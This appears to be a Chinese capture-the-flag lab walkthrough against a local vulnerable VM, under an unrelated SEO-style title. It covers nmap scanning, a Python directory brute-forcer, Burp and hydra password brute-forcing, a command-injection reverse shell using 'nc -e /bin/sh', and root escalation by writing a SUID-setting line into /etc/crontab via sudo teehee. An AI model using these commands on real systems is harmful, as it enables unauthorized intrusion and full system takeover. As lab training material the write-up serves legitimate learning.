wordpress 投稿 标签百度排名优化
文章目录
- 1. 靶场搭建
- 2. 信息收集
- 2.1 确定靶机ip
- 2.2 主机信息收集
- 2.3 主机目录探测
- 3. 渗透过程
- 3.1 sql注入检测
- 3.2 burp爆破
- 3.3 反弹shell
- 3.4 提权
- 4. 总结
1. 靶场搭建
靶场源地址
检验下载文件的检验码,对比没问题使用vmware打开
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
2. 信息收集
2.1 确定靶机ip
根据虚拟机网络适配器模式,确定靶机所在网段。使用nmap进行网段存活主机,排除法确定靶机ip.
nmap -sn 192.168.6.100/24
通过排除法确定靶机ip为192.168.6.100
2.2 主机信息收集
通过nmap探测靶机开放端口和端口对应服务
nmap -Ap 1-65535 192.168.6.100
确定开放端口:
- 22:ssh服务
- 80: http服务
2.3 主机目录探测
import queue
import requests
import threading
import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://192.168.6.100"
THREADS = 8
WORDLIST = "./all.txt" words = queue.Queue """
读取字典文件,生成扫描内容
"""
def get_words(resume=None): words = queue.Queue() def extend_words(word): if "." in word: words.put(f"/{word}") else: words.put(f"/{word}/") # for extension in EXTENSIONS: # words.put(f"/{word}{extension}") with open(WORDLIST) as f: raw_words = f.read() found_resume = False for word in raw_words.split(): if resume is not None: if found_resume: extend_words(word) elif word == resume: found_resume = True else: extend_words(word) return words """
暴力扫描
"""
def dir_bruter(words): headers = {"User-Agent":AGENT} session = requests.Session() session.verify = False session.get(TARGET, headers = headers) while not words.empty(): url = f"{TARGET}{words.get()}" try: r = session.get(url) except requests.exceptions.ConnectionError as e: # print(e) continue if r.status_code != 404: print(url) if __name__ == "__main__": words = get_words() for _ in range(THREADS): t = threading.Thread(target=dir_bruter, args=(words,)) t.start()
3. 渗透过程
3.1 sql注入检测
访问web页面,发现只有一个登录界面.
尝试使用sqlmap进行sql注入点检测,发现不存在注入点。
sqlmap -u "http://192.168.6.100/login.php?username=admin&password=admin"
3.2 burp爆破
尝试使用burp进行弱密码爆破,由于账号和密码都不知道使用cluster boomb
模式,选择爆破字典。
各种攻击模式的区别:
- 【sinper】:对单一参数进行密码爆破
- 【battering ram】:对所有参数进行同一个变量爆破(如用户名和密码一样)
- 【pitchfork】:对所有参数进行一一对应爆破,传递两个参数两个字典,一一对应。
- 【cluster bomb】:对参数进行交叉爆破,常用用于不知道账号密码的情况
爆破成功,账号为admin,密码为happy,成功登录
3.3 反弹shell
发现网站存在功能可以直接让服务器直接前端请求执行的命令。修改请求包命令,进行反弹shell。
使用burp将请求拦截将参数radio改为
nc -e /bin/sh 192.168.6.101 8888
,kali使用nc进行监听
# 开启监听
nc -lvp 8888
反弹shell成功
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'
3.4 提权
使用SUID进行提权
# 获取设置suid的文件
find / -type f -perm -4000 2>/dev/null
发现/home/jim/test.sh文件,使用ls查看文件权限设置。查看文件内容之后,发现无法利用这个文件切换到jim用户.设置suid的文件在发生变更时,suid标志会被撤销
,无果。
ls -l /home/jim/test.sh
尝试过sudo提权、搜索内核版本漏洞、crontab定时任务、/etc/passwd也没有发现利用的点。转变思路,在系统中查看是否有可利用的文件。
在jim目录下找到jim的旧密码记录文件,尝试进行ssh爆破。成功获取到密码
jibril04
.使用ssh成功登录。
# 使用hydra进行爆破
hydra -l jim -P dc4.txt ssh://192.168.6.100:22
发现有一个邮件,查看cat /var/mail/jim
获取邮件,获取到charles的密码,切换用户
切换用户之后继续尝试sudo提权,发现存在/usr/bin/teehee
被设置为无密码使用。
# 获取teehee的帮助信息,了解这个命令
teehee --help
teehee是将标准输入写入到某个文件中的一个命令。
我们可以利用这个命令去写入一个定时任务,将/bin/bash权限设置为4777。
echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab
接下来执行/bin/bash,发现并没有提权,猜测受到环境变量或者配置文件的限制。采用
/bin/bash -p
进行尝试,-p参数使用保护模式启动,保护模式下会忽略一些环境变量和配置文件,成功提权。
成功获取flag
4. 总结
本次靶场利用到的技能:
- namp进行信息收集
- burp suite利用字典进行账号密码爆破,篡改发送包参数。
- hydra进行ssh字典密码爆破
- sudo配合定时任务提权。